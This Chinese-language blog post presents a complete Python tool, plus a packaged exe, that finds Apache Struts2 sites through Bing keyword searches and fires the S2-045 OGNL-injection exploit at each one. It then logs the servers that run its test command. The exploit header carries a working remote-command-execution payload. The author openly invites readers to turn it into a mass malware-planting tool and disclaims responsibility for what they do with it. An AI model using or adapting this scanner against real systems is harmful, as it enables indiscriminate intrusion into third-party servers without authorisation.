今天晚上看老鐵們在群里就這個st2-045漏洞討論得火熱,個人不太喜歡日站,本來想直接寫個批量掛馬的東西,但是想想還是算了,如果你有興趣,改改也很容易,反正不關我的事
測試圖
2017-3-8更新
- 增加了對.do關鍵詞的支持,並且支持任何關鍵詞了,之前我只考慮到了.action關鍵詞並且寫死了規則,py版本已經更新,
win版的exe未更新,需要的自行用pyinstaller打包為exe - 之前采用whoami如果返回200狀態碼就判斷存在漏洞,但是現在很多已經修復了,導致訪問之后依舊會跳到正常頁面返回200狀態碼,於是我改了一下判斷,執行命令echo xxxx,如果返回結果中含有xxxx就證明漏洞存在
- win版exe已經打包
- 重要:建議大家都使用py版本,經過群友測試,exe版本對中文關鍵詞的支持不太好,會出現錯誤,如果使用上有問題可評論
- exe版本會出現掃描過慢的情況,強烈建議py版本,鑒於有些朋友說不會配置python環境,我在下面給出了例子
- 有些朋友說自定義關鍵字字典出錯,這里要提一句,你的字典txt的編碼需要是utf-8,有些東西因為寫的比較快沒考慮太全,見諒
依賴包的安裝
//首先你需要安裝一個python,在安裝圖中記得把有pip的選項和add python to path類似的選項勾選上,然后安裝完成后執行python -version和pip
//如果執行python -version提醒你有問題,試着重啟一下cmd或者電腦,或者檢查你的path環境變量下有沒有python的安裝的路徑,沒有的話就加上
//如果正常證明環境安裝成功,如果執行pip提醒你沒有pip,就把你python安裝路徑下的Scripts目錄加到path環境變量,然后在命令行在執行以下代碼
pip install requests
pip install beautifulsoup4
對於此腳本所放置文件夾下必須有keyword.txt用來存放一行行的關鍵詞
最開始是打算直接全部讀取然后一個一個跑,不過感覺時間太漫長,測試時間太久
后來改成關鍵詞就是自己輸入,但是又感覺太麻煩
然后就變成了現在的讀取關鍵詞然后標號直接輸入序號就可以
途中遇到了有的網址直接拒絕訪問導致報錯,還有的超時一直不返回報文,這些都解決了,個人測試的結果還可以,結果保存在一個txt下,至於你想再干些什么,不關我的事情了
說明
例子:
python s2-045.py 9 10
第一個參數是你的文件名,第二個是關鍵詞所對應的序號,第三個是你需要爬行的頁數
序號與關鍵詞的對應,可以直接運行python s2-045.py
就可以產看幫助
腳本采用的bing搜索引擎,文件我會打包在下面
上代碼,python2和3通用
# encoding:utf-8
import sys,requests
from bs4 import BeautifulSoup
keyword = {}
with open("keyword.txt") as f:
i = 0
for keywordLine in f:
keyword[str(i)] = keywordLine.strip()
i += 1
usage = '''
usage : python s2-045.py 0 10
first parameter is your filename
second parameter is your keyword's number which will be used by Bing
Third parameter is the page number you want to crawl\n'''
def poc(actionURL):
data = '--447635f88b584ab6b8d9c17d04d79918\
Content-Disposition: form-data; name="image1"\
Content-Type: text/plain; charset=utf-8\
\
x\
--447635f88b584ab6b8d9c17d04d79918--'
header = {
"Content-Length" : "155",
"User-Agent" : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",
"Content-Type" : "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo hereisaexp').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}",
}
try:
request = requests.post(actionURL, data=data, headers=header, timeout = 10)
except:
return "None", "Refused"
return request.text, request.status_code
def returnURLList():
keywordsBaseURL = 'http://cn.bing.com/search?q=' +keyword[sys.argv[1]]+ '&first='
n =0
i = 1
while n < int(sys.argv[2]):
baseURL = keywordsBaseURL + str(i)
try:
req = requests.get(baseURL)
soup = BeautifulSoup(req.text, "html.parser")
text = soup.select('li.b_algo > h2 > a')
if '.action' in keyword[sys.argv[1]]:
standardURL = [url['href'][:url['href'].index('.action')]+'.action' for url in text if '.action' in url['href']]
elif '.do' in keyword[sys.argv[1]]:
standardURL = [url['href'][:url['href'].index('.do')]+'.do' for url in text if '.do' in url['href']]
else:
standardURL = [url['href'] for url in text]
except:
print("HTTPERROR")
continue
i += 10
n += 1
yield standardURL
def main():
if len(sys.argv) != 3:
print(usage)
for k,v in keyword.items():
print("%s is %s"%(k, v))
sys.exit()
for urlList in returnURLList():
for actionURL in urlList:
text, code = poc(actionURL)
if 'hereisaexp' in text:
print(str(code) + "----Successful----" + actionURL + '\n')
with open("AvailableURL.txt","a") as f:
f.write(actionURL+'\n')
else:
print(str(code)+'----'+actionURL+'\n')
if __name__ == '__main__':
main()
打包了win版,大家可以直接使用,例如在該exe目錄下執行(更新的並未打包出exe,如有需要可以自行用pyinstaller打包)
s2-045.exe 9 10
其他用法參照上面
轉載請注明出處